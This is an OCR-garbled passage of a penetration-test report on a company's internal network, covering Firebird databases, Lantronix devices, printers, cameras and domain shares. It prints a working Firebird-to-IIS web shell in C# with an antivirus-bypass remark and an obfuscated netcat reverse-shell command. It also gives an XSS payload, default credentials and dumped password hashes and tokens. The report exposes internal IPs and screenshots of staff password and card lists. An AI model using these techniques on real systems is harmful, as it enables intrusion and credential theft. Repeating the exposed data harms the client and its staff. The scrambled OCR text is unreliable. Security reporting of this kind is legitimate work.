2 31 2(1? €-&/E+ “pj*A2—~"ACZ}yXEGYC:\inetpub\wwwrootichell asny £nRRR
HQE gl mm o A== excute

All identified systems with this vulnerability:

1 atxxACDS006ACDSocal (192.168.1.6)

ATXXACDSHRACDSocal (192.168.1.40)
ATXXACDSXXACDSocal (192.168.1.42)
ATXXACDSXZACDSocal (192.168.1.43)
ATXXACDSYAACDSocal(192.168.1.44)
ATXXACDSHEACDSocal (192.168.1.45)
ATXXACDSXBACDSocal (192.168.1.46)
ATXXACDSXXACDSocal (192.168.1.47)
ATXXACDSMBACDSocal (192.168.1.48)

= =4 4 -4 8 5 9 -9

8.5.2. Recommendation

We recommend using secure access passwords for Firebird SQL.
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8.6. Full access to booking database via default password

Proballity Impact Risk
Medium Medium Medium

8.6.1. Analyss

When analyzing the booking system, we found a domain share on which the main application
appears to be stored. Connection parameters were found in the ini file of the main application,
with the help of which and using the default password of Firebird S@naection to the
database could be established.

¥

m Start Freigeben Ansicht

& > v 4 || > Netzwerk > svgm p— Ep—

v
Name - Anderungsdatum Typ GroBe
»# Schnellzugriff [ CLArFLun ULV Ui 10 ANWENUUINYSEIWE.., 1w AD
B Desktop s & == 20.09.202119:32 Anwendung 7053 KB
‘ Downdoads * ] 06.01.2020 14:18 Anwendungserwe... 1349K8B
: [ &= = ] F 7
|2] Dokumente * = = 2= "
= i - Datei Bearbeiten Format Ansicht ?
/& Bilder ‘ = fun
FOM e — 9 [DataBase]
' = //server=192.168.1.183/3050: /db/i =« «.fdb
= o B server=192.168.1.63/3050: /mnt/nvme/db /4= . fdb
= oamw (B ol oem LocalDir=C:\fx-2000\daten\local
; e —— [Common]
} = DebugModus=2
B Dieser PC o : g W //192.168.1.14:5000
e —— fms s s == UR Default=10
R = Frms s pemmsmsorcent Default= 5
[ Desktop n o 71134 3%5.e{ SkipProtokollOfTables=iadll - wlli’ Wuw P —
L'E Dokumente 1 ——eTiNi
& Downloads 3 =
n y
D Musik - i
v o= e
BB Videos S we - Verkn
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- t 5 \
e CONNECT or CRE

WHERE RDB$SYSTEM_FLA ©
AND RDB$VIEW_BLR IS NULL
ORDER BY RDB$RELATION_NAME;

DBSRELATION_NAME

COUNTING_CASH_REGISTERS
RESSEN
NG
NGEBO |
NLAGENTYP
IRETSF

RTICLE_ARTICLES
TICLE_ARTICLES_2
TICLE_ARTICLE_PRICE_DATES

RTICLE_ARTICLE_PRICE_LISTS
TICLE_ARTICLE_TRANS
TICLE_ARTICLE_WP_RESOURCES

RTICLE FIXED CHARGES

Fdb '

>

h'

user
User:

"SYSDBA'

SYSDBA

BearingPoint.

password 'masterkey’;

After the connection, all table names were queried and interesting data was read out.

Tables:
ABLE_NAME

_ARTICLES
HECK_IN_KONFIGS
HECK_IN_KONFIGS
HECK_IN_KONFIGS
IVERSES
IVERSES
IVERSES

DIVERSES

DIVERSES2

DIVERSES2

EMAILACCOUNTS

EMAILACCOUNTS
AESTESTAMM

EINSTELLUNGEN
EINSTELLUNGEN
_P_EINSTELLUNGEN

MAILER_EINSTELLUNGEN

MAILER_EINSTELLUNGEN
SER_USERS
SER_USERS

ABLE_NAME

SER_USERS
SER_USERS

MITARBEITER
MITARBEITER
UESTREGISTRATION
AESTESTAMM_BACKUP
IVERSES_EMAILS
ARTICLE_ARTICLES 2
STESTAMM




BearingPoint.

SMTHRasswords

UserpasswordgEncrypted):

ED UTHENTICATIO!

SQL> select ENCRYPTED_PASSWORD, AUTHENTICATION_TOKEN,USERNAME from USER_USERS;
ENCRYPTED_PASSWORD LY.

AUTHENTICATION_TOKEN Wy

USERNAME admin

ENCRYPTED_PASSWORD $2i
AUTHENTICATION_TOKEN Mq3
USERNAME LE
ENCRYPTED_PASSWORD $2ay
AUTHENTICATION_TOKEN RVE
USERNAME rei

8.6.2. Recommendation

We recommend storing a secure password for authentication to the database and not using
default credentials.
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8.7. Potential Denial of Service Attack of XPORT Lantronix Devices

Probability Impact Risk
Medium Medium Medium

8.7.1. Analyss

When analyzing the network, several XPORT devices with open TCP port 9999 were found. If
you open a Telnet connection via this port, you can configure the device and read out existing
configurations. This allows a denial of service attack to be launched.
(https://dariusfreamon.wordpress.com/2015/05/04/lantronixdirectseriatto-ethernet
serverxport-unauthenticatedaccess)

BN Telnet 192.168.87.240

All found devices:

1 192.168.111.4
1 192.168.115.230
1 192.168.12.230
1 192.168.14.9

1 192.168.15.240
1 192.168.21.231
1 192.168.35.230
1 192.168.38.230
1 192.168.4.230
1 192.168.40.240
1 192.168.42.230
1 192.168.44.230
1 192.168.45.240
1 192.168.48.9

1 192.168.69.230
1 192.168.7.240
1 192.168.77.160
1 192.168.8.8

1 192.168.83.139
1 192.168.85.230
1 192.168.86.230
1 192.168.87.240

1 ATXXACDSX398. ACDSocal (192.168.0.98)

1 ATSECZEF23MCDSocal (192.168.28.230)

9 K8KX312. ACDSlocal

1 KO937BKY7 ACDSlocal
1 KOBFY7YB. ACDSlocal
9 KOBFY75K. ACDSlocal
1 KOBFY768. ACDSlocal

9 KOBF6EF.ACDSIlocal
1 KX73B88.ACDSIlocal
1 KX93X98. ACDSlocal
1 KKF3B91.ACDSlocal
1 KKF3D9DACDSIocal
1 KKF3DX7. ACDSlocal
9 KKF3DX9. ACDSlocal
1 KKF3DBEACDSIocal
1 KKF3DBFACDSIocal
9 KKF3DD5ACDSIocal
9 KD029%K. ACDSlocal
1 KDO2XX5. ACDSlocal
9 KDO51%K. ACDSlocal
1 KEF6B93.ACDSlocal

(192.168.26.33)
(192.168.13.29)

(192.168.117.2 71)
(192.168.116.253)

(192.168. 4.231)
(192.168.90.23)
(192.168.66.100)

(192.168.120.2 10)

(192.168.30.15)
(192.168.25.230)
(192.168.17.230)
(192.168.3.230)
(192.168.9.11)
(192.168.5.230)
(192.168.10.230)
(192.168.31.230)
(192.168.18.230)
(192.168.32.230)
(192.168.6.230)

1 DEACDEF230.ACDSlocal (192.168.76.230)

1 192.168.96.151 1 Xt xAxCx001. ACDSlocal (192.168. 77.2 20)

1 ATxxACDSx099. ACDSocal 1 Kb161Y72. ACDS(192.168.70.250)
(192.168.0.99) 1 KKi3db9. ACDSlocal (192.168.2 7.230)

1 ATXXACDSx230. ACDSocal 1 KK3dbd. ACDSlocal (192.168.56.230)
(192.168.67.230)
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8.7.2. Recommeadation

We recommend not making these Telnet Management Interfaces accessible or moving these
devices to a specially segmented network and securing them with appropriate firewall rules.
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8.8. Local rights extension by Firebird (Privesc Attempt)

Probablity Impact Risk
Medium Medium Medium

8.8.1. Analyss

When analyzing whether it is possible to escalate rights on the newer terminal server with
our assigned nomdministrative user account, we were able to take over the IIS service user
using 1IS and Firebird. The webshell used for this purpose had to bigteevto bypass the
antivirus. However, it was not possible to get to the administrator escalation.

Creation of the webshell with Firebird Local
C:\ Program Files (x86)  \ Firebird \ Firebird_3_0>isql
Use CONNECT or CREATE DATABASE to specify a database
SQL> CREATE DATABASE '€magic3' user 'SYSDBA' password 'masterkey’;
SQL> CREATE TABLE a( x blob);

SQL> ALTER DATABASE ADD DIFFERENCE FILE 'Cinetpub \ wwwroot\ magic3.aspx’;
SQL> ALTER DATABASE BEGIN BACKUP;

SQL> INSERT INTO a VALUES ('

CON> <%@ Page Language="C#" Debug="true" Trace="false" %>
CON> <%@ Import Namespace="System.Diagnostics" %>
CON> <%@ Import Namespace="System.|O" %>

CON> <script Language="c#" runat="server">

CON-> void Page_Load(object sender, EventArgs €)
CON> {

CON>

CON>}

CON>

CON> void a(string c){

CON> ProcessStartinfo psi = new ProcessStartinfo();
CON> psi.FileName = "cmd.exe";

CON> psi.Arguments ="/c " + c;

CON> psi.RedirectStandardOutput = true;

CON> psi.UseShellExecute = false;

CON> Processp = Process.Start(psi);

CON> StreamReader stmrdr = p.StandardOutput;
CON>  string s = stmrdr.ReadToEnd();

CON>  stmrdr.Close();

CON> Response.Write("<pre>");

CON> Response.Write(Server.HtmIEncode(s));
CON> Response.Write("</pre>");

CON>}

CON>

CON-> void e(object sender, EventArgs e){

CON> a(txt.Text);

CON>1}

CON>

CON> </script>

CON> <HTML>

CON> <HEAD>

CON> <title>Hello There</title>

CON> </HEAD>

CON> <form id="test" method="post" runat="server">
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CON> <asp:TextBox id="txt" style="Z -INDEX: 101; LEFT: 405px; POSITION: absolute; TOP:
20px" runat="server" Width="250px"></asp:TextBox>

CON> <asp:Button id="testing" style="Z - INDEX: 102; LEFT: 675px; POSITION: absolute; TOP:
18px" runat="server" Text="excute" OnClick="e"></asp:Button>

CON> </form>

CON>");

SQL> COMMIT;

SQL> EXIT;

< C W localhost, 2.aspX @ 2 v U a

BENUTZERINFORMATIONEN
--------------------- whoami /all excute

Benutzername SID

iis apppool\defaultapppool S-1-5-82-3006700770-424185619-1745488364-794895919-4004696415
GRUPPENINFORMAT IONEN

Gruppenname sSI10 Attribute

Verbindliche Beschriftung\Hohe Verbindlichkeitsstufe Bezeichnung

$-1-16-12288

Jeder Bekannte Gruppe $-1-1-0 Verbindliche Gruppe, Standardm,dig aktiviert,
ATRZGWRDS@47\FSLogix ODFC Include List Aliss $-1-5-21-1372037612-3251352674-987375480-1002 Verbindliche Gruppe, Stondardm,$ig oktiviert, A
ATRZGWRDS@47\FSLogix Profile Include List Alias $-1-5-21-1372037612-3251352674-987375480-1000 Verbindliche Gruppe, Standardm,$ig sktiviert,
VORDEFINIERT\Benutzer Alias $-1-5-32-545 Verbindliche Gruppe, Standardm,§ig aktiviert, A
NT-AUTORITZT\DIENST Bekannte Gruppe $-1-5-6 Verbindliche Gruppe, Standardm,dig aktiviert, A
KONSOLENANME LDUNG Bekannte Gruppe $-1-2-1 Verbindliche Gruppe, Standards,sig aktiviert, A
NT-AUTORITZT\Authentifizierte Benutzer Bekannte Gruppe $-1-5-11 Verbindliche Gruppe, Standardm,dig aktiviert, A
NT-AUTORITZT\Diese Organisation Bekannte Gruppe $-1-5-15 Verbindliche Gruppe, Standardm,éig aktiviert, A
VORDEFINIERT\IIS_IUSRS Alias $-1-5-32-568 Verbindliche Gruppe, Standardm,$ig aktiviert, Ak
LOKAL Bekannte Gruppe S-1-2-0 Verbindliche Gruppe, Standardm,§ig aktiviert, A

Unbekannter SIO-Typ $-1-5-82-0 Verbindliche Gruppe, Standardm,éig aktiviert, Aktivi
BERECHTIGUNGSINFORMATIONEN
Berechtigungsname Beschreibung Status
SeAssignPrimaryTokenPrivilege Ersetzen eines Tokens auf Prozessebene Deaktiviert
SelncreaseQuotaPrivilege Anpassen von Speicherkontingenten fr einen Prozess Deaktiviert
SeAuditPrivilege Generieren von Sicherheitsberwachungen Deaktiviert
SeChangetotifyPrivilege Auslassen der durchsuchenden 3berprfung Aktiviert
SelmpersonatePrivilege Annehmen der Clientidentit,t nach Authentifizierung Aktiviert
SeCreateGlobalPrivilege Erstellen globaler Objekte Aktiviert
SelncreaselorkingSetPrivilege Arbeitssatz eines Prozesses vergr”dern Deaktiviert

No further possibilities for privilege escalation were found.

The default webshell code was recognized by the AV and had to be rewritten into the above
mentioned "obfuscated" C# code. (so we were able to successfully bypass the AV)

We were also able to inject an obfuscated Netcat binary past the antivirus. This allowed us to
create a complete reverse shell locally on the IIS user.

< C @ localhosty: 2.35pX

Volume in Laufwerk C: hat keine Bezeichnung.

Volumeseriennummer: SE19-9B64 c64.exe 192.168.252.9 4444 -e cmd.exd LG |

Verzeichnis won C:\Users\Public

nc -1 4444
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. Alle Rechte vorbehalten.

c:\windows\system32\inetsrv>
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8.8.2. Recommeadation

As with the general Firebird point, we recommend deactivating the feature mentioned above
and not using default passwords. It may also be necessary to update the antivirus, as the above
mentioned bypass options do not require a great deal of effort. Dutiegrest of the pentest,

we noticed that the antivirus system reacts differently in specific cases.
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8.9. Printerwith default passwords

Probability Impact Rik
Low Low Low

8.9.1. Analyss

When analyzing the network, some printers were found that had default passwords set for
administrative access. If the default password is not changed, the attacker can easily access
the printer's settings and functions. This can lead to unauthorized usiegbrinter, such as
printing unwanted or malicious documents. In addition, an attacker can potentially intercept
sensitive information. Modern printers often store print jobs that may contain confidential
information, such as business reports or persat@tuments. An attacker can retrieve and
misuse this information, which can lead to data breaches or identity theft.

In addition, some printers offer the ability to perform firmware upgrades. If an attacker has
access to a printer with a default password and has the ability to upgrade the firmware, they
can install malicious or tampered firmware. This can turn the priimt a tool to carry out
further attacks within the network or even intercept and manipulate all network traffic.

Almost all of the printers found/tested still have default passwords.
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Examplel92.168.87.1:
opAccess

Auftrage Protokolle Registnerung Zahler
Gerat
@ Status
Name
Standon [
"Modeliname TOSHIBA &-STUDIO2505AC
Seriennummer CFGF 40850
MAC-Adresse 0080916306 €3
GroBe Hauptspeicher 4096 M8
GroBe Seitenspeicher 846 M8
Save as File & e-Filing verfugbarer Speicherplatz | 120827 m8
Verfugbarer Fax-Speicher 958 M8
"Kontaktinformation PC Help Consulting GmbH
Telefonnummer 08319607870
Giiname—— "Nachricht 107483
[Finisher Auftragstrennung *  Papiermangel in
W Ken Storungsmeldungen Kassette 3 - Bitte Papier
Faxen instanen nachiegen.
Toner Papier =
[Gelb(Y) [— ] 3% [Kassette [GroBe  [Dicke  |Merkmal |Kapazitat [Stufe |
nental! T Y : o z _—

e-Filing

22018 TOSHIBA TEC CORPORATION Al Rights Reserved.

Defaultaccess123456
Dokumentname Iye Papier Kopien Seiten wZeitstempel
2jpg Drucken A4 1 1 080572023 104513
1jpg Drucken A4 1 1 08/052023 10.38:31
APznzaYDrxTwGBnTHOhwW225cq5g3GrLEAmIbM . SJTEnRIMPROGZU. .. | Drucken A4 1 1 08052023 102208
Report531401632232662 Drucken A4 1 60 08052023 10.22:06
ACFrOgAZHJKLp805sgqQMrDC-udagbQbvi-alZs . VeI 3-HpXSpWIGRE Drucken Ad4 1 1 08052023 10:15:38
IO e — p—1 Drucken Ad 1 1 08/05/2023 09 58:21
Crystal Reports - Drucken Ad 1 1 080572023 09.47:00
~ReS1ED pdf Drucken Ad 1 2 08052023 09.40.03
about blank Drucken Ad 1 2 08052023 09.31:16
Tic— s - Google Docs Drucken A4 1 1 08052023 093046
Zip—— e x5 - GoOgle Tabellen Drucken A4 1 1 08052023 09 1122
ZITmEeE T dsx - Google Tabellen Drucken Ad 1 1 08052023 09.03:19
ACFrOgCY1E7OHE0bb40pT 9xsbe SWI2TKMNJUXI. . iPATYdABMoyrTIVY. .. | Drucken Ad 1 1 080572023 09.00:10
2t t=ame dsx - Google Tabellen Drucken A4 1 1 08052023 065953
Crystal Reports - Drucken A4 1 1 080572023 06 56:04

Installation Software Paket

Daleiname [ Datei auswahlen |Kelne ausgewahlt Installieren

Aktuelle Software Liste
[Name Version tellt am atum der Installation
SYSTEM FIRMWARE TITISFOW1200 2019-07-30
SYSTEM SOFTWARE TITIHDOWI210 2019-07-30
ENGINE FIRMWARE THI7TINWWIS 20158-10-30
SCANNER FIRMWARE THITOSLGWW19 2018-10-30
RADF/DEDF FIRMWARE H617DFWW10 2019-07-30

PFC FIRMWARE THITIFWW14 2018-10-30
MIC FIRMWARE ITITOMICOW0012 2011-01-30
FaX1 FIRMYWARE FAXHE25TA11 2019-07-30
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192.168.3.1

@ ATMLAPRIOOT - Web Image Mor X +

& > C A Nichtsicher | 192.168.3.1/web/entry/de/websys/webArch/mainFrame.cgi

RICOH IM C300 web Image Monitor = 7 1 B Administrator

4 Home

Konfiguration ©)Aktualisieren () =

Zuriick
Bildschirm Scanner
m ™ Bildschirm W Allgemeine Einstellungen
B Scaneinstellungen
Gerdteeinstellungen W Sende-Einstellungen
¢ W System W Eingangseinstellungen
W Papier m Standardeinstellungen fir normale Anzeigen (klassisch) am Gerat
- Aoinctallisnnan fiir infarhto Anvalnan fliscclerhl am Rorst
Admin:blank
RICOH IM C300 web Image Monitor
4 Home
Firmware-Update

® Firmware/Package File : | Datei auswahlen | Keine ausgewahit
Update

Eine Firmware-Datei (.rfu) oder Paketdatei (.pkg) festlegen und dann auf [Update] klicken.
Der Name der Paketdatei muss aus der korrekten Teilenummer bestehen.

Firmware-Version

Modulname | Version | Teilenummer
| 7.32 | DOCE5450X

System/Copy

192.168.2.1:
Admin:blank

A Nicht sicher | 192.168.2.1:49106/index.htmI?cGESMCZvcDOWImMIMCZOYT0zMCZvc2IkPS0zOTAWMTEWODkxNzYOOTEXNDA= L W [n )

Remote—Betrieb

‘L Kopieren J ‘
< OB )
Job drucken Drucken/Scannen Direkte
(Speichergerat) Verbindung
; : & Informationen
Keine Empf.datei
:(e;ine neuen
Informationen zur
|a Software vorhanden. E

Status prifen  2'%™* €
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192.168.0.196:

@ Willkommen! x  +

.~ C A Nichtsicher | hitps//192.168.0.196/stat/welcome.php?tab=status @
Xerox® AltaLink® C8055

g

— LU

Energiesparmodus

Name: ATS 6

Modell: Xerox® AltaLink® C8055 Multifunction Printer
Geratesenennummer. 3712369239

IPv4-Adresse: 192.168.0.196

Administrator: Nicht eingestelit

| Details |

8.9.2. Recommendation

We recommend assigning a strong administrator password to all accessible printers in the
network.
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8.10.ACTIi E32amerasdefault access

Probability Impact Risk
Low Low Low

8.10.1. Analyss

When analyzing the network, some ACTi cameras were found. It was possible to log in with
the default access admin:123456 and retrieve video streams from the cameras. This was
tested at 192.168.87.226, from which it could be concluded that all ACTi camdrave the

same configuration.

&« & A Nicht 5icher| 192.168.87.21/cgi-bin/cmd/system?ACCOUNT

ACCOUNT_ROOT_NAME="admin’
ACCOUNT_ROOT_PASSKORD="123456"
ACCOUNT_USER_MAME_1=""
ACCOUNT_USER_PASSWORD 1- b
ACCOUNT_USER_MAME_2=""
ACCOUNT_USER_PASSKORD_2=""
ACCOUNT_USER_MAME_3=""

ACCOUNT_USER_PASSWORD _3=""
ACCOUNT_USER_MAME_4=""

ACCOUNT _USER_PASSWORD 4=""
ACCOUNT_USER

NAME_5=""

8.10.2. Recommendation

We recommend providing the cameras with a strong administrator password and/or placing the
cameras in their own network segment and providing them with appropriate technical means
(firewall with restrictive rulebase). The devices are already corresporydiitdyl and replacement

with simultaneous network segmentation may also be a possible option.
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8.11.Meteocontrol passwordinformation disclosure

Probability Impact Rik
Low Low Low

8.11.1. Analyss

When analyzing the network, a Meteocontrol system was found (192.168.87.239), for which
it iIs possible to read out the administrator password with the following exploit
(https://www.exploit-db.com/exploits/39822

= X A Nicht sicher| 192.168.87.239/html/de/index.html

igemein_ Onine-Werte_] tatus | Konfguration |
EB’log
Admin-Uberwachung » Webseiten-Passwort

Einstellung des Passwortes fiir den Webseiten-Administrator
Das Passwort fir den Webseiten-Adminisirator sellte mindestens 5 Zeichen umfassen und darf maximal 16 Zeichen lang sein. Leerzeichen werden nicht akzeptiert.

Passwort [3009
(Mindestens 5 Zeichen, maximal 16 Zeichen)

The access can then be used for a denial of service attack (through configuration changes).

Allgemein | Online-Werte Status | Konfiguration | Admin-Uberwachung |Admin-Messung [Admin-Support

Admin-Support » Command interface

Command interface

Permitted commands « CHKDSK « PING « DNS « DATE « SU « TIME
« DSKSTAT « PPPSTAT « ARP « PIN « SC « SNTP
« IPCONFIG « IPCONFIG « MSG « MEM « VC « LZOP
« IP « RT « TCOMH = INFO « EEPROM « HELP
Command line linfd || Senden |
Response Current date : Mon 22-May-2023 14:35:21
Device type : Pro
Ethernet : Ok

Modem type : None
Display board: Found

The Meteocontrol system also provides a command line interface that could be abused for
code execution by finding a "allowed commands" bypass.
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8.11.2. Recommendation

We recommend updating the system.
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8.12.Cisco Phone Adaptatefault access

Probabilty Impact Risk
Low Low Low

8.12.1. Analyss
When analyzing the network, we found a Cisco Phone Adapter Configuration Utility. This still
had the default access stored for the admin accéss$min:admin)

192.168.90.16:
S ]

nfo Information
System
SIP
Provisioning Product Information
Regional Product Name: ATA190 Serial Number. CCQ195108AX
b'::r11 Software Version 12.2(003) Hardware Version 111
Line 2 MAC Address: 34DBFD19949A Client Certificate: Installed
User2 Customization Open

System Status

Current Time: 5/8/2023 03:15:16 Elapsed Time: S days and 11.33.22
RTP Packets Sent 0 RTP Byles Sent 0

RTP Packets Recv 0 RTP Bytes Recv. 0

SIP Messages Sent: 15939 SIP Bytes Sent 11482896

SIP Messages Recv 31840 SIP Bytes Recv. 12561169

External IP

CISCO ATas well

C A Nichtsicher | 192.168.90.62/Devicelnfc

Device Information

Cisco SYSTEMS

Cisco ATA 186 (SCCP)

MAC Address

001b2ae81fcd

Host Name at

Phone 1 DN
Phone 2DN 0
App Load ID  ATA/ 1A

SAY Version  3.02.03(051201A)

HW Version (0013 0x0000

Serial Number INMI10T12SK

Product ID ATA18612-A

H/W Features  0x00000016

Firmware ATA D1A zup
VLANID 0

Config File arad01b2ae81fc3

8.12.2. Recommendation

We recommend changing the default accesses.
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8.13.intranet.acdseu searchvulnerableto XSS

Probability Impact Rik
Note Note

8.13.1. Analyss

When analyzing the intranet.acds.eu website, it was possible to trigger an XSS via the search
input field, as the search text is not properly "escaped".

Neue Suche

"> <script>alert(1); </script> Suchen

">

@ intranet. u

1

8.13.2. Recommendation

We recommendo "encode" the response text properly.
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8.14.Clickshare Dashboardefault access

Probability
Note

8.14.1. Analyss

Impact
Note

Risk

During the network analysis, we came across the Clickshare dashboard (192.168.111.100),
which was only protected with the default credentials (admin:admin). This device also allows
the upload of customized firmware updates. As the device also acts axessguoint, there

is the possibility of a denial of service and, under certain circumstances, even-g-than

middle attack.

& Personalisation

= Wi-Fi Settings

3 Display & Audio
+  Wi-Fi & Network
Operation Mode:
Wi-Fi Settings ’
cattinoe Access Point Mode Settings
Services Broadcast 55ID:
Signal strength (%)
Q@ Sew
ClickShare Configurator
available via Wi-Fi:
£ System
Frequency band:
support & Updates Channel:
S5ID:

MAC address:

To update basic settings, run the
ruacn w18

S S R T

IP Settines

Manual Firmware Updates

Edit settings

Access Point

ves
100

Yes

281 3:69

You can get the latest firmware on www.barco.com/clicksharasetup

Firmware update:

Firmware hochladen...

8.14.2. Recommaedation

It is recommended to set a strong administrator password
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8.15.Domain share indings

Probability Impact Rik
Note Note

8.15.1. Analyss

While analyzing the network and reviewing the available or viewable domain shares, we
found some information that could be useful for an attacker in further attacks.

Systenmpasswords
> Netzwerk I DEHSENEREAT W g local > temp > fom > Desktop l v 0 Desktop” durchsuc
Name - Anderungsdatum Typ GroBe
riival 12 1VL.EVEV 1407 vaelciviunes
) VLOG 15.10.2020 14:39 Dateiordner
2 GG 2018- 11 Sgwiny  ianiunion Prmstue...  06.08.2020 15:14 pdf_auto_file 825KB
" l% A-Z Hamburg.odt 13.11.2018 20:06 OpenDocument T... 19KB
@ Dienstpkan September ODK.xlsx 01.10.2020 17:04 Microsoft Excel Ar... 30KB
* Dienstplan aktuell.xlsx 15.10.2020 13:30 Microsoft Excel Ar... 370KB
5 Dienstplan FO 22.07.19.pdf 13.07.2019 15:24 pdf_auto_file 68 KB
[5 Dienstplan FO RA.pdf 15.07.2019 18:57 pdf_auto_file 78K8
7] Drive File Stream 13.02.2019 15:3 Verknipfung 2K8
(G Fos el pdf 27.01.2020 18:39 pdf_auto_file 26K8
] Freiwinschexsx 12.11.2018 20:22 Microsoft Excel Ar... 18KB
b ELE.RDP 07.02.2019 10:38 Remotedesktopve... 3K8B
) HamburgKalkulationneuxls 07.03.2018 11:14 Microsoft Excel 97... 372K8
G jo pmmiemion. pof 03.01.2020 15:36 pdf_auto_file 63KB
@ Kassenzahlprotokoll_aktuell_2019_fom.ods 28.08.2019 17:07 OpenDocument T... 17KB
27 Key Writer 28.04.2018 08:55 Verknipfung 2K8B
@ Kontaktnachverfolgung_CoronaVO_ab_6... 12.10.2020 13:29 Microsoft Word D... 21KB
[E) Mastercodes Safes BO.docx 7 Passwort PC FOM.b¢t - Editor
1503) ( % g:;::P:F::“:a Bvt.docx Datei Bearbeiten Format Ansicht ?
: ; [ i
1503) 2 [& Sauberkeitxsx
% storno.docx
%) UsB Wireless Device - Verknapfung
(B Z———— s
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-
Passworter
Name Mitarbeiter Login Passwort
[ Sunm Simubiert Werr bage e
| Gt B Barviar it -l
K ausam wa . smmmer=ssann Zmian [WESE-SF i
EEE Cliws =y
Al i = T
| Ko Ralfier K hrds i f
Sals s mmm— Ha- o o [H T
| Lise Wi Lrs Lotk
Timom: TnCmariti Pl Ti 1
- ]
Ansicht
> IDEH-M—.'»,IN Jgilocal > temp > fom > Desktop > FOM I v 0 FOM" durchsuchen
CCAUser:
« v A > Netzwerk > ATRESSENNNNND. dgilocal > Bl » USERS vd USERS" durchsuche
Name . Anderungsdatum Typ GroBe
# Schnellzugriff
| _ADMINLidx DX-Dates K8
Deskt * i
B Deskicp ] ADELA- Datei 2k8
¥ Oownlosds  # N \per i DX-Date K8
% Dokumente * | ADELA atei KB
& Bilder * | ADELA _idx DX-Date KE
Desktop | ADM_CH Date: 1K8
Offentlich | ADM_CH.idx DX-Date KB
Tools ] ADM_ST Date KB
| ADM_ST.idx DX-Datei KB
wwwroot \
] ADM-CH Datei 1KB
B Dieser PC | ADM-CH.idx DX-Datei K
& Bilder | ADM-DO Date KB
I Desktop | ADM-DO.idx DX-Date: KB
= | ADMINI Datei K8
% Dokumente
| ADMINILidx DX-Date: KB
¥ Downloads ] ADM-KA Date KB
d Musik ] ADM-KA.idx DX-Date KB
B Videos ] ADM-PA Datei KB
Y ] ADM-PA.idx DX-Date KB
| ADM-ST Datei KB
DX-Date KB

] ADM-ST.idx

The information about all CCA usernames can be used to launch a brute force attack on the CCA
login.
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CCAlexportdata:

M 5 | EXPORT - o
m Start Freigeben Ansicht
- v A %> Netzwerk > ATHESSSSSENQ0 . local > DNNINTI UWETA > EXPORT > vo EXPORT" durchsuchen

Name Anderungsdatum Typ - GroBe
#* Schnellzugriff W NUNE P, Sameer a0 | LUSLULU.KOP LNILUY 1Ll NUR-Uate 5 080 AD
B Desktop * . KOR1 = icherungvorioesc... KOR-Datei 49KB
& Downloads . 0 ORI = mmm 5 kor KOR-Datei 1360 KB
. [a} 01 Anlagenverzeichnis.dsx Microsoft Excel Ar 1658 KB

% Dokumente *
: [#} 02 Anlagenverzeichnis hoch.dsx Microsoft Excel Ar S9KB
=) Bilder o {5} 04 Anlagenlistexdsx Microsoft Ex 22 KB
Desktop [} 06 Zugangedsx Microsoft Ex 8KB
Offentlich [a} 07 Abgangedsx Microsoft Excel Ar 208
Tools Al? 09 SachkontenUbersichtadsx rosoft Excel Ar 75KB
USERS [} 10 SachkontenGbersicht hoch.dsx Microsoft Excel Ar 42K8
‘I? 17 Vorschauliste Abschreibungen detailli... Microsoft Excel Ar 118KB
&9 Dieser PC {8} 19 Vorschauliste Abschreibungen kumuli... Microsoft Excel Ar 11KB
&/ Bilder [} 20 Vorschauliste Abschreibungen kumuii... Microsoft Excel Ar 12K8
B Desktop [ 25 Zuschussliste detailliert dsx Microsoft Excel A S1K8
2 Dokumente [#} 26 Zuschussliste kumuliert.dsx Microsoft Excel Ar 27KB
‘A Downloads (@} 27 Vorschauliste Verbrauch | Microsoft Excel Ar 93 KB
J‘ Musik \uB 48 Abschreibungen monatlichadsx Microsoft Excel Ar 278 KB
Aq} 49 Abschreibungen monatlich.dsx Microsoft Excel Ar 11KB
B Videos §

&} 51 kalkulatorische Abschreibungen und ...
¥ Netzwerk p? 97 Vorschauliste Abschreibungen detailli...
gj 98 Vorschauliste Abschreibungen kumuli...
[ Ausdruck (101153322241637).xdsx

Microsof

Microsoft Excel Ar

Microsoft Excel Ar

Microsoft Excel Ar 695 KB

CCharchive:
m Start Freigeben Ansicht 0

« v 4 <« SVENS i tocal > profileS > h.EllEENEPINV2 > AppData > Rosming > NN . Il v o BMDArchiv” durchsuchen P
N : . =
# Schnellzugriff ;»mc [C] e=Dn &= debitrun_231-10258_20211006112641073.pdf (GESICHERT) - Foxk |
B Desktop * g 7‘9“2';:"”' m Startsette Kommentar Ansicht Formular Schitzen Freigeben Hife Extras Q Erzahien Sie mir, was Sie
& Downloads  # ﬁeosmﬁz. ot {‘J T (%) Schnappschuss N vTr‘ R [125% - ® =Y =
* " " [ 2wschenablage * — o < #3 Nach Inks drehen —n
[ 20210926100204603.pot Hand Auswshlen 9 OriginalgroBe Umbrechen —, Aus .
# [l debitrun_231-10258 2021100612641 - (Y Nach rechts drehen pater D
[ MieleRechnungService.pdf Werkzeuge Ansicht Kommentar Erstellen Schitzen
B = o 7 =
- Sou »
[Gi Rechnung_0612_2361945.pdf L ‘ Anhang WWC 21
[ Tscot.pdf P R PR Kartenausgabe 'S s B’ w1
) &R WWC 21-0488: i e S
o [Br__Melde Kartennummer Karteninhaber
26 7788 2127 = EE———m_nn
D 27 73 " Sog7 e —
= 28 77" - 122 mm m—
29 728w =085 W SO0
o7 30 728 b e e —
= 31 73— F——081 = —
32 730 151 -
33 67l o ] i
—J 34  e7% =160 -
35 67m = 2 == esmmes
N X g? 217” p— :g} . ———
| =l |
& 38 GOJP 155 ——
39 80 111 = m
40 12 0 112 - ey
10€lemente 1 Element ausgewahit (121 KB) 4 S 1S o g
7 43 68 115 ]
,ﬁ 44 68" 114 crmw = sier
45 68 120 g fem
46 68 118 Few -
47 S8w 141 el |
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CCAdata:

> Netzwerk > 192.168.1.20 > jmmii W2 > v O bmd_data” durchsuchen yl

Name Anderungsdatum GroBe

wiriuma LN 0LV -
BAKAWA
N2017ummeldung
Zelohn_
ws
west2013x
west2013
west2012
west2011
west2010
west2009
west2008
west2007
Vorsteuer DE
sued2012
sued2011
sued2010x
sued2010
sued2009
Web sued2008
stmk2013
stmk2012
stmk2011 2 21:2 C
stmk2010x 16.05.2017 21:2 Dateiordner

L R 3

Firefoxpassvords.
(\\S\WKACD&5ACDSocal profile$ h.XXYAIDFASDKCDS/2A AppDatdRoamingMozilla Fir
efoX\Profileddhollfz6.defaukl527662276295)

